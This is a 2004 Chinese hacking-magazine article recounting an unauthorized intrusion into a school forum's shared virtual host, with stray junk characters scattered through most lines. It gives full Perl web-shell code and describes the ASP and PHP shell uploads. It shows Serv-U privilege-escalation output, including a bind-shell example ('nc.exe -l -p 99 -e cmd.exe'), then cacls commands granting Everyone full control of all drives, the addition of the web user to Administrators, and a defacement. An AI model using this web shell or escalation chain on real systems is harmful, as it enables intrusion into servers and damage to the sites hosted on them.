剑走偏锋——灵巧的旁注攻击
2 k8 L ?6 L N+ l. N6 [5 V1 g本文作者:angel( A9 T6 y+ _% q+ V# X0 _9 f
文章性质:原创7 X8 X3 z" E1 v# D
发布日期:2004-11-09 4 c! a% P& `- [1 h
注意:( P+ @3 v: z" ]- p% x
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
$ Q9 l6 l5 S$ w7 ~本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。, R9 @3 U+ U) X. u
. v6 f" O8 c; b9 H9 x9 b
终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 & L& N6 \$ l# @$ S. L' ]
( E8 W3 b* c, t) B
一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
% ^- p1 g! j7 S) K. e$ ?) y4 P: z5 [" X8 t h4 f) U
不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
4 [0 S( P: A9 @
( y% ^7 n. W7 a* X1 c! |' e 一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
8 h3 y, R E+ w' u9 B! {" B* e1 {! e4 P; w
大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
F' c) N7 g4 l2 R" G
0 a- v) Y! v# s* d8 { 没有目的的跳转目录着…… * [$ Y' _9 W' z
4 `% O8 K4 T7 c9 O$ ^ [* p
我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… 4 d7 }, H) S8 _: c4 `8 C* u
9 G5 z0 j* c5 ?1 S0 O
结束了吗?不,我试着 FTP 一下:
( p* E! [# E7 K9 [% z0 U) }
, I4 A+ k: ~0 uMicrosoft Windows 2000 [Version 5.00.2195]6 F, O# s4 A& l
(C) 版权所有 1985-2000 Microsoft Corp. 8 v7 P5 u+ m# Q& Q+ s8 u+ i; a8 C
& ]. P- \ Y2 @+ ^5 i8 r
C:\Documents and Settings\Administrator>ftp www.school.com
& O4 b6 Q$ w' }3 P' e2 q" V2 E5 X9 CConnected to www. school.com. : ]# c# F( d2 s7 h
220 Welcome to FTP Server... & C0 E, t' D6 d
User (www.bjtrq.com:(none)): 0 \" P5 L# X3 x8 | M4 K7 C
331 User name okay, need password.
/ {* Y# A' I/ v: FPassword: 0 z# ^* o4 i$ }' S; {) W. Y, Y
530 Not logged in. : p0 F" r0 S* @1 z& W
Login failed. ( L% D* W/ A1 g$ v, j& l
ftp> bye
/ B: c, Q/ C( U' C- l( a- t* i' Y' R221 Goodbye! ; t* _1 a) V$ b% F& O* |3 w
+ K& l% [5 Y$ q7 L
/ w3 Y# G v2 | a8 o6 Y 从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
# t( }5 y6 f& P4 N/ b
+ J- C$ T1 |! Z' x4 i1 g 原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
* S- x4 Y5 ~: e* k( ^- r$ Y
( e! U: t N+ v3 h9 b& O8 Y) Z9 [9 IApplication Data' N! E% M& @, K) V, M; D) }
Documents
8 z( l% B: ~6 G8 t tDRM. y% Q7 A: W, r+ Z
Favorites
. r" F/ S' m, X7 S* z, J- Y1 W! ~Templates
4 A( y5 Q5 S2 w! A: i「开始」菜单
* H0 U- d' _" W桌面
( Z: M, Z2 m7 L. {! ?, I- R4 c
, `! |. R+ s# \" D8 }
. s2 D+ C1 W. o' P 马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
* h, [( b5 v9 y2 T; g( o+ ?* E" v" S! C2 b/ w0 u9 U
ActiveState ActivePerl 5.8# p6 Z# C, }; ~
Administrative Tools3 v) L# B3 ~" y
Deerfield.com0 b2 H. j o5 k4 l/ t
DTemp1 |' M- o: @( B# P9 ], N5 E. d* u3 v
IPSentry
, }. w( P$ a' k/ H9 j7 W- S; i6 SMBM 5! _ U6 R, C1 Q$ i- C5 P! T- e- b$ W: b0 _
NetMeter8 l; h/ i% n x1 k$ R# Q; ?
Network ICE
# N/ ]1 _( N, C: A# ?Persits Software AspEmail
* x9 s# |: B v8 pPersits Software AspJpeg
3 R0 j7 F5 v) W8 S0 X% O. R) uServ-U FTP Server
. M, S/ t R' }9 R" I) [. f! g: K) RSymantec Client Security
& ~: x5 }* M% {, {" E4 ?Windows 优化大师
1 a4 U1 w" l' ~5 B( K' R3 fWinRAR
; w; y- w% A$ C* B启动- D" ~0 A9 C2 M- Y3 A
管理工具
: U8 l% @$ C7 [. z! Y8 A0 O2 \附件* {! t' d0 f& }1 P( |4 ]) ~
% F& E0 p+ { O6 k$ Q
1 x2 x0 p- n. W6 d- K& e/ k 呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
s! g8 M! K( P3 f
" S: `& R5 W% o6 \3 N 先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: 5 y' F1 H; }: ~
5 y- y* C9 m* a) S' QUser281=angel|1|0 5 ^* J2 X2 w( Q# A c; l3 D
+ R0 t- ]! W0 m# m3 ^( i" I: i
8 Y4 m! E9 W5 }
然后加上
" x- ^; }/ C1 J6 a; X3 t7 X( k" J: J- P6 [. O' A
[USER=angel|1]
# L$ b8 y5 |: Y' Y5 t* i/ cPassword=ng98F85379EA68DBF97BAADCA99B69B805, g+ @. a1 C3 V2 L
HomeDir=D:\websites
* D. g5 Z4 J, L, GRelPaths=1
) |# b6 A5 ~0 Z# ^. YTimeOut=600
- [$ ~! x1 J1 y) h* iMaintenance=System
G" V) U, I1 v4 @0 n. IAccess1=D:\websites|RWAMELCDP
3 G9 i8 R6 }; y! YSKEYValues=
/ I7 }, v, m. A) y, C$ R# n
. V0 K/ ]8 G+ w/ L
) L) d/ y0 ]0 L8 U 添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… # J- X* I' M* g9 o a
, q7 A6 e) ~) A+ w7 ]5 M 不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
1 ^( d6 h0 a$ {: T4 {5 b. F9 s3 t x8 R8 X3 s! u
不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
5 k; p5 J$ q( ^! V
. s/ y3 M# X% Y) B 还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
& l2 G% w2 J$ D5 q5 r( [4 Y+ K
+ J2 D/ F0 H( E$ |# ~#!/usr/bin/perl# M8 |: f2 c) _1 _- @
binmode(STDOUT);" k% m5 |1 z, d r1 x. J
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
~) s8 V" T2 N& _$_ = $ENV{QUERY_STRING};
1 N. z& g9 U- Y; Os/%20/ /ig;/ k- n2 v, Y2 `0 u0 @ l* P
s/%2f/\//ig;% [' o9 \- u& [
$execthis = $_;# R5 D9 i' B* U9 [3 b! |. |
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);& t4 v! ]2 ^" G' x- p
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";* |0 v8 _! d A9 s ?9 l8 V
system($execthis);
6 L6 l) L; a& i& {! U# Ssyswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);1 \6 g/ k9 y" x" I* Q; L
close(STDERR);
) R: V: c2 j1 O' f6 yclose(STDOUT);; u5 W1 B+ H# p+ d/ v5 ~* Q& M
exit;" b% }- o1 S9 o. g5 Y
9 }5 P4 H$ t2 s2 ]3 g; V4 T7 e
4 U, q& V. J; C7 O9 Q1 b5 R" a( F
我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
) V% i6 \% n; V' m
1 D5 v5 p& X) W* C9 O5 G8 } 显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
1 B- R+ p- I9 Y. [: m* K5 ^# x T! w% @' z: }
http://anyhost//cmd.pl?d:\user\bin\su.exe 7 e! J. o! Y) {, P
2 r1 x- [( x8 z0 n2 L
( g2 m1 Q. y; A; j, r! _ 返回: # d/ `& r: [" O0 \/ P
, [* j( @1 q% Z% H+ e) e- t
Serv-u >3.x Local Exploit by xiaolu
( X6 l* W) U4 z' \1 I7 X v, c" a7 V# Q3 q
USAGE: serv-u.exe "command"
+ p! N# U; _5 k- F) A6 P2 B0 \" h2 H; e% X
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" 9 A, F: y0 X9 c) b$ ~! K7 e/ \
9 V1 f8 j, C; E: ~/ t
! f2 [4 M3 x: }' g" g4 w 嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: 6 w; Q3 G8 c4 _2 q' D
. ] I; C/ [' y% `$ {+ w
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" 4 g0 f; ~; E( {
. q# W" D5 u1 C9 r4 P7 d2 q
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" 0 L2 u) o. m Q6 s
. B) H1 F- f1 X9 p0 t4 e! H+ K2 Q
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" ) J1 p4 x0 z0 D* e% h {
; J& y6 @6 k- D
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" 3 e/ F w5 y- J4 A; k
% I0 p' i, p c% P2 V* K p; |( u0 M' w
返回下面的信息,就表示成功了!!! * a- Z$ W1 f/ H6 _( b: `
/ @7 b* c4 u) L" [# k3 P1 M
Serv-u >3.x Local Exploit by xiaolu " l2 A l; ?; G% z
# k- |, K& M! t6 t u" {
<220 Serv-U FTP Server v5.2 for WinSock ready... . N" R3 ^5 B1 O. h z ]" T9 P0 T
/ g- C+ y4 u: j5 }0 \4 A
>USER LocalAdministrator
1 E) b4 x4 @% c+ Z/ ^! l+ O1 B# ~
! s, y+ V+ E0 u2 B: k4 B<331 User name okay, need password. ( D. n, V( Z/ h* T5 b
9 {+ e( a" x1 h$ `6 C! j
******************************************************
: g: D; V5 @8 w: {0 g6 R$ V! o( }4 ~7 F x
>PASS #l@$ak#.lk;0@P
2 I$ ^# O+ l2 X6 Y0 E Z
( d+ Q4 L' Q6 N, V<230 User logged in, proceed. - ]' K- T8 P3 T; b* b, n
/ Z7 p# v' x9 i
****************************************************** , h1 s) L* @, C' ?$ U
9 h5 I0 ?) m. R; p$ m5 B. D>SITE MAINTENANCE % J# C5 A/ V9 N) I9 Q
* x" z- T1 m. N' J4 A******************************************************
5 a) d& ^8 i3 v3 C6 w
% Q( u+ O! L% T! \9 Q) @. t[+] Creating New Domain...
) `- D8 b5 e& n, S. f4 a, M" L; O* N8 Z( N `
<200-DomainID=2 6 h5 b. k/ J* p8 D
: y& ^0 ^) r- @4 l7 b/ M% ~<220 Domain settings saved
& y' I8 ^9 M1 U- b- M) X5 u7 N4 f ]% }
****************************************************** 8 K! I4 D N( x) ?) K
# c4 J* u( S! }, n1 @/ T[+] Domain xl:2 Created
( c C* M7 f C0 O: i3 \2 ~9 q$ R4 t& L( l7 w S6 T
[+] Creating Evil User d6 P$ b/ `3 R' w9 Q
' U2 W( m9 o( d5 e3 D$ B! @1 t
<200-User=xl 5 H! y* U5 u% D* U; @
2 [. h! |" d- u5 K N3 _- M
200 User settings saved
3 e# ~- y4 `$ v+ l' Q! R4 B' v1 f4 h3 Y/ x
****************************************************** . q1 |9 N' D' T7 y/ S
% b' d" ~" N$ W0 k7 p[+] Now Exploiting...
. ~3 x" ~6 ^8 C* ^
: ]- f6 }9 `, k$ l>USER xl " H; G4 [* \. J* `0 h
% x& _7 h2 n3 g$ R& Y<331 User name okay, need password. ' M& f: h$ y3 @5 s
( e+ }$ R' _- f C8 C
****************************************************** ' B# m- h5 u5 Y! P
0 G0 z: ?6 e% t
>PASS 111111
; k5 b3 `0 ^% `' G2 i( T
7 H! f' m. Z* F" b<230 User logged in, proceed. ! G" l) i+ A/ A+ A
4 c6 T; `) a, v I) g6 a. Q
****************************************************** . m. T: O( h8 {! H9 C! I
2 E. q/ G0 ~1 S
[+] Now Executing: cacls.exe c: /E /T /G everyone:F 1 o% w) I9 H/ @: Q h
; A( P1 X$ Q, v( o: {9 I
<220 Domain deleted
0 q, o/ D. g5 @/ w6 z7 ?. E j7 N# b4 h4 I
****************************************************** 2 c( L6 \" L4 @9 h1 f3 C4 O3 B/ l
. {0 a9 b; ] t7 ?* l: S0 I* L$ `
0 Q7 `$ \3 O j7 v! P# F
每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
X) ?4 `& x) D, j( x; U
9 u. _: I* ~ Q5 b bhttp://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" 2 t+ O- P# U6 S! Z F5 ~" ]# }
/ I/ {5 H( S: X, [
. Q. ]) E( [0 u1 W! p5 s
现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 : ]* m2 w- k& l/ G
8 t/ K/ F/ k& f3 f# a
说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。; [ ^' b1 {+ u4 o3 T2 |
; C0 ~; i$ y; \8 z+ o( y5 W: \) x + K/ {0 o8 F( G& E7 l- U3 }
|